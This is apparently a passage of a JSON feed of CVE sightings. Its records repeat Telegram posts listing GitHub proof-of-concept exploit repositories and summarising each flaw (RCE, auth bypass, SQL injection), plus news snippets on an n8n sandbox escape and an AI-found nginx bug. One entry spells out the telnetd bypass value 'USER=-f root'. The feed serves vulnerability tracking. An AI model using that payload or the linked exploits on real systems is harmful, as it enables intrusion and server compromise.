\u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043a \u0444\u0430\u0439\u043b\u0430\u043c, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\n\nClaude \u043f\u0435\u0440\u0432\u043e\u0439 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u043b\u0430 \u0441\u0431\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0447\u0438\u0442\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0441\u043c\u043e\u0433\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u044e\u0434\u0438: \u043e\u043d\u0438 \u043d\u0430\u0448\u043b\u0438 \u0441\u043f\u043e\u0441\u043e\u0431 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0447\u0435\u0440\u0435\u0437 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e COPY, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u0432\u043e\u0439\u043d\u044b\u0435 \u0441\u043b\u044d\u0448\u0438 \u0432 \u043f\u0443\u0442\u0438.\n\n\u041f\u0430\u0442\u0447 \u0432\u044b\u0448\u0435\u043b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 1.29.7 \u0432 \u043c\u0430\u0440\u0442\u0435 2026 \u0433\u043e\u0434\u0430. \u0412 \u0442\u043e\u0442 \u0436\u0435 \u0434\u0435\u043d\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043e\u0431\u0440\u0430\u043b\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u0430\u0442\u0430\u043a\u0438 \u043f\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u2013 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0443 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043d\u0435 \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c.\n\n#nginx #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0418\u0418 #webdav \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:36.416314Z"}, {"uuid": "3604f4d5-315b-4f42-a533-aae83a4ea04e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrjog2zusq2w", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-26T05:44:07.307153Z"}, {"uuid": "f336b764-1191-4af7-8b0f-c555a8a8b2a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrkpwxi7d62o", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-26T15:44:07.560669Z"}, {"uuid": "ede8a677-c6a9-41b4-9875-469983b88d36", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27971", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/63ded371-c2a9-4923-882c-f382bb8daf64", "content": "", "creation_timestamp": "2026-08-23T17:00:29.148978Z"}, {"uuid": "518f2862-fac7-4940-a75c-87ac1158f002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17097", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected to avoid duplicates and outdated entries.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-31452\n\ud83c\udfaf OpenCart \u2013 Arbitrary File Upload \u2192 RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/exploitblizzard/CVE-2026-31452\n\n\ud83e\udde0 Overview\nA vulnerability in OpenCart allows attackers to upload arbitrary files without proper validation, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Full web server compromise\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-30121\n\ud83c\udfaf Zimbra Collaboration \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ry4n-h/CVE-2026-30121\n\n\ud83e\udde0 Overview\nA flaw in Zimbra allows attackers to bypass authentication mechanisms and gain unauthorized access to user accounts.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Account takeover\n\u2022 Email system compromise\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-28711\n\ud83c\udfaf Jenkins \u2013 Script Console Abuse\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/wh0amitz/CVE-2026-28711\n\n\ud83e\udde0 Overview\nA vulnerability in Jenkins enables attackers to execute arbitrary scripts through misconfigured or exposed script console endpoints.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 CI/CD pipeline compromise\n\u2022 Credential exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-27654\n\ud83c\udfaf Drupal Module \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xM4hmoud/CVE-2026-27654\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in a Drupal module allows attackers to manipulate database queries and extract sensitive data.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Privilege escalation\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-26590\n\ud83c\udfaf Node.js Application \u2013 Prototype Pollution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/s4vitar/CVE-2026-26590\n\n\ud83e\udde0 Overview\nA prototype pollution vulnerability allows attackers to modify application logic by injecting malicious object properties.\n\n\u2699\ufe0f Impact\n\u2022 Application logic manipulation\n\u2022 Potential RCE chain\n\u2022 Security control bypass\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development\n\u2022 Patch analysis\n\u2022 Vulnerability chain study\n\u2022 Red / Blue Team training\n\n\u26a0\ufe0f Ethical Notice\nThis information is provided for cybersecurity research and defensive purposes only.\nDo not use it for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:06.435417Z"}, {"uuid": "a57690cb-13bf-48dd-a7bd-06bacf4221e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrlrhty6uy2w", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-27T01:44:07.949893Z"}, {"uuid": "ca7b85f3-deff-4d58-b23b-03eb35c725dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrmsyqhbgb2g", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-27T11:44:08.006418Z"}, {"uuid": "87c8c1b7-0d0d-4f37-b0d0-d8e4a62214bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mrn3i2lrkl2p", "content": "\ud83e\udd16 n8n sandbox escape: authenticated workflow editors can execute OS commands on the server. Bypass of CVE-2026-27577 fix. Patched in 2.31.5 and 2.32.1.\n\nhttps://thehackernews.com/2026/07/n8n-sandbox-escape-lets-workflow.html", "creation_timestamp": "2026-07-27T14:15:52.018783Z"}, {"uuid": "f072261d-583f-48a3-b029-331f8483bf91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://thehackernews.com/2026/07/n8n-sandbox-escape-lets-workflow.html", "content": "n8n has patched a high-severity expression-sandbox escape that could let an authenticated workflow editor execute operating-system commands on the server running the automation platform. Security Joes found the flaw while probing n8n's February fix for CVE-2026-27577 for another bypass.\n\nThe affected ranges are <2.31.5 and >=2.32.0,<2.32.1. n8n fixed the flaw in versions 2.31.5 and", "creation_timestamp": "2026-07-27T16:00:50.111242Z"}, {"uuid": "88c3ff53-8971-4d1e-828e-ff2ed02f4215", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrnujm44td2n", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-27T21:44:07.233987Z"}, {"uuid": "2e60328d-a7b2-49a5-9b66-a1e516ab997f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "Telegram/jlAIF4Lv3n50da0RVUSk6p2jeYgDkcG3uiBDcm186yzhsg", "content": "", "creation_timestamp": "2026-07-27T22:00:04.445068Z"}, {"uuid": "8c7a162f-b93d-48e4-bb76-ef6b90b517bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "published-proof-of-concept", "source": "Telegram/jlAIF4Lv3n50da0RVUSk6p2jeYgDkcG3uiBDcm186yzhsg", "content": "", "creation_timestamp": "2026-07-28T00:00:09.270348Z"}, {"uuid": "2fcc68f9-7c02-4b12-bd6f-78de5a191f2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://thehackernews.com/2026/07/n8n-sandbox-escape-lets-workflow.html", "content": "n8n has patched a high-severity expression-sandbox escape that could let an authenticated workflow editor execute operating-system commands on the server running the automation platform. Security Joes found the flaw while probing n8n's February fix for CVE-2026-27577 for another bypass.\n\nThe affected ranges are <2.31.5 and >=2.32.0,<2.32.1. n8n fixed the flaw in versions 2.31.5 and", "creation_timestamp": "2026-07-28T01:00:55.092973Z"}, {"uuid": "1d727be9-943f-43dd-9536-adf6fb6a4557", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mror3qpl4q2q", "content": "Breaking the Sandbox Again: Bypassing n8n's CVE-2026-27577 Patch #appsec", "creation_timestamp": "2026-07-28T06:15:20.698598Z"}, {"uuid": "2d576ad6-f303-487f-8527-9275cdeb8203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27831", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17056", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE Discovered \u2013 Weekly Report\nEvery week, new vulnerability research and exploit Proof-of-Concepts are published on GitHub by security researchers around the world.\nBelow are some notable CVE PoC repositories discovered this week, useful for vulnerability research, exploit analysis, and security education.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability affecting GNU inetutils telnetd allows attackers to bypass authentication and gain root shell access.\nThe exploit abuses the NEW_ENVIRON telnet option to inject crafted environment variables that result in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA memory safety vulnerability in rldns DNS server 1.3 allows attackers to trigger a heap out-of-bounds read, which may crash the server and cause denial-of-service conditions.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory corruption issue\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 Research / PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability affecting BeyondTrust Remote Support / Privileged Remote Access allows attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-accessible script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 HTTP Request Smuggling\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to manipulate HTTP request parsing and potentially bypass authentication mechanisms or hijack user sessions.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 SSRF / potential RCE scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nA vulnerability in Next.js Server Actions allows attackers to trigger remote code execution through insecure deserialization and prototype pollution in the React Server Components protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Why This Matters\nThese PoC repositories help security researchers and defenders:\n\u2022 Understand how modern vulnerabilities are exploited\n\u2022 Study exploit development techniques\n\u2022 Perform patch diff analysis\n\u2022 Improve defensive security strategies\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:08.023060Z"}, {"uuid": "ebe2c12a-f1b7-4656-aa16-7c738671f89c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrow2jcczl2n", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-28T07:44:09.748235Z"}, {"uuid": "1f07ab92-f5d2-4b1c-86cf-af5926ffab07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "Telegram/TTDc5m9rjxOF-FLNkY4srXBXmccnJEZ8Ua1WlC6sUt3lKgo", "content": "", "creation_timestamp": "2026-07-28T14:00:04.828418Z"}, {"uuid": "c70efd34-f2c3-4683-b927-9c290e3710c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2781", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrppqxsw432v", "content": "CVE-2026-2781 - rootio-nss\nA security issue in the rootio-nss package on Root:Ubuntu:24.04 could allow an attacker to gain unauthorized access to a system. This is a serious issue because it could\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#rootionss #RootUbuntu2404 #CVE #infosec", "creation_timestamp": "2026-07-28T15:24:05.199876Z"}, {"uuid": "71707174-1178-49e5-933a-fbdea312c140", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27831", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17051", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent vulnerabilities with publicly available PoC repositories on GitHub that are useful for vulnerability research and exploit analysis.\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass \u2192 Root Access\n\n\ud83d\udd17 PoC\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in GNU inetutils telnetd allows attackers to bypass authentication and obtain a root shell.\nThe exploit abuses the NEW_ENVIRON telnet option and injects a crafted environment variable (USER=-f root) that results in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA heap-based out-of-bounds read vulnerability in rldns version 1.3 can be triggered during DNS request handling, leading to memory access violations and denial-of-service.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety vulnerability\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability in BeyondTrust Remote Support / Privileged Remote Access allows remote attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-reachable script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote-access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 HTTP Request Smuggling\n\n\ud83d\udd17 PoC\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to bypass authentication, steal session tokens, and perform SSRF attacks.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 Remote code execution scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nAn RCE vulnerability in Next.js Server Actions caused by insecure deserialization and prototype pollution through the proto property in the RSC Flight protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoC repositories are useful for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team / blue team training\n\u2022 Security tool testing\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:08.257614Z"}, {"uuid": "83399114-0b14-4670-866f-51bdd35ed6d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27831", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17049", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent CVE vulnerabilities with publicly available PoC repositories useful for vulnerability research and security analysis.\n\n1\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Backup & Migration \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/LucasM0ntes/POC-CVE-2026-1357\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows attackers to upload arbitrary files and achieve remote code execution without authentication.\nThe vulnerability chains two issues:\n\u2022 Crypto fail-open behavior\n\u2022 Path traversal vulnerability\nAttackers can upload a PHP web shell and execute arbitrary commands on the server.\n\n\u2699\ufe0f Impact\n\u2022 Remote Code Execution\n\u2022 Server compromise\n\u2022 Full WordPress takeover\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server \u2013 Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA vulnerability in rldns DNS server version 1.3 allows attackers to trigger a heap-based out-of-bounds read, leading to a denial-of-service condition.\nThis occurs during DNS request handling and can crash the server.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety vulnerability\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability affecting BeyondTrust Remote Support / Privileged Remote Access allows attackers to execute commands via a WebSocket-reachable script.\nThe issue stems from unsafe Bash arithmetic evaluation inside the application logic.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Privileged access compromise\n\u2022 Enterprise remote-access platform risk\n\n4\ufe0f\u20e3 CVE-2026-25049\n\ud83c\udfaf n8n Workflow Automation \u2013 Git Node RCE\n\n\ud83d\udd17 Technical Write-up\nhttps://gist.github.com/alon710/f3522fe1631994e1a76ab218a2b4d685\n\n\ud83e\udde0 Overview\nA remote code execution vulnerability exists in the n8n Git node where malicious Git configuration values can trigger command execution.\nThe vulnerability occurs because untrusted data is interpreted as executable commands.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Workflow automation compromise\n\u2022 CVSS 9.4\n\n5\ufe0f\u20e3 CVE-2026-0590\n\ud83c\udfaf Online Product Reservation System \u2013 SQL Injection\n\n\ud83d\udd17 PoC Reference\nhttps://github.com/foeCat/CVE/blob/main/OnlineProductReservation_PHP/sqli_checkout_delete.php.md\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability exists in Online Product Reservation System 1.0 in the delete.php endpoint.\nManipulation of the POST parameter ID allows attackers to execute arbitrary SQL queries remotely.\n\n\u2699\ufe0f Impact\n\u2022 Database access\n\u2022 Data leakage\n\u2022 Potential system compromise\n\n\ud83d\udcda Research Value\nThese PoC repositories are useful for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team training\n\u2022 Security tool testing\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:08.429931Z"}, {"uuid": "acc2a508-a68a-4c9e-9475-75e8da39f931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27831", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17045", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent CVE vulnerabilities with publicly available PoC repositories useful for security research and vulnerability 